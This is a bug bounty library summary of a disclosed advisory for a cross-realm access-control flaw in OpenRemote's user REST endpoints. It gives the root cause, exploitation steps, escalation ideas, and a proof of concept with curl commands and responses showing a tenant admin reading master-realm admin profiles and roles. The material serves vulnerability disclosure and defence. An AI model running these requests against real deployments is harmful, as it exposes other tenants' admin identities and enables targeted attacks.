# OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl

Tenant realm admin reads any other realm's user profile and Keycloak roles via UserResourceImpl read endpoints that omit the realm-accessibility check.

- Payout: Research
- Severity: high
- Program: OpenRemote
- Found by: geo-chen
- Disclosed: 2026-07-06
- CVE: CVE-2026-54641
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xqr9-4wvv-gvch
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-xqr9-4wvv-gvch
- Tags: area:web domain:api domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:java tech:rest vuln:access-control vuln:idor vuln:info-disclosure

**Target:** REST API user endpoints (UserResourceImpl) backed by Keycloak identity provider
**Root cause:** Three read methods (get, getUserClientRoles, getUserRealmRoles) check only the read:admin role and self-user match, never validating that the target user's realm is accessible to the caller; the realm path param is accepted but unused, and DB lookup is by UUID with no realm filter.
**Steps:**
1. Authenticate as tenantb realm admin with read:admin to get token: `curl -s -X POST "https://<host>/auth/realms/tenantb/protocol/openid-connect/token" -d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!"`
2. Obtain a master-realm user UUID (e.g. from audit log or provisioning records)
3. Read profile: `curl -s -H "Authorization: Bearer $TENANTB_TOKEN" "https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e"` returns master admin profile HTTP 200
4. Read realm roles: `.../api/tenantb/user/master/userRealmRoles/<uuid>` returns `["admin"]`
5. Read client roles: `.../api/tenantb/user/master/userRoles/<uuid>/openremote` returns full role list
**How found:** Code review of UserResourceImpl: noticed write methods all call throwIfCannotAdminRealm(realm) while the three read methods only check read:admin/self, and that the realm path parameter is never used in get().
**Exploitation:** A realm admin of any tenant realm uses their valid token against the /api/<ownrealm>/user/<targetrealm>/... paths, supplying a foreign-realm user UUID; the server resolves the user by UUID without realm filtering, returning profile, realm roles and client roles of master-realm admins.
**Escalation:** Reconnaissance of master admin identities and role assignments enables targeted credential stuffing, social engineering, or chaining with the previously patched write-path flaw (GHSA-49vv-25qx-mg44).
**Insight:** When a class has a realm/tenant guard helper applied to write paths, diff every sibling read method for the same guard — the realm path param being accepted-but-unused is the tell that the boundary check was forgotten.

## Proof of concept (copied exactly from the original report)

**Cross-realm user profile read via tenantb token**

```
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
      "https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e"

Observed response from the live test instance (commit 22a42a7, 2026-06-04):

    {"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8",
     "id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e",
     "firstName":"System","lastName":"Administrator",
     "enabled":true,"createdOn":1780550421390,
     "serviceAccount":false,"username":"admin"}
    HTTP 200
```

**Cross-realm realm roles read**

```
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
      "https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e"

Observed response:

    ["admin"]
    HTTP 200
```

**Cross-realm client roles read**

```
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
      "https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote"

Observed response:

    ["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services",
     "write:alarms","write:attributes","write:services","write:user","write:assets",
     "read:insights","read:map","read:users","read:assets","read:rules","write",
     "write:admin","read","write:rules"]
    HTTP 200
```

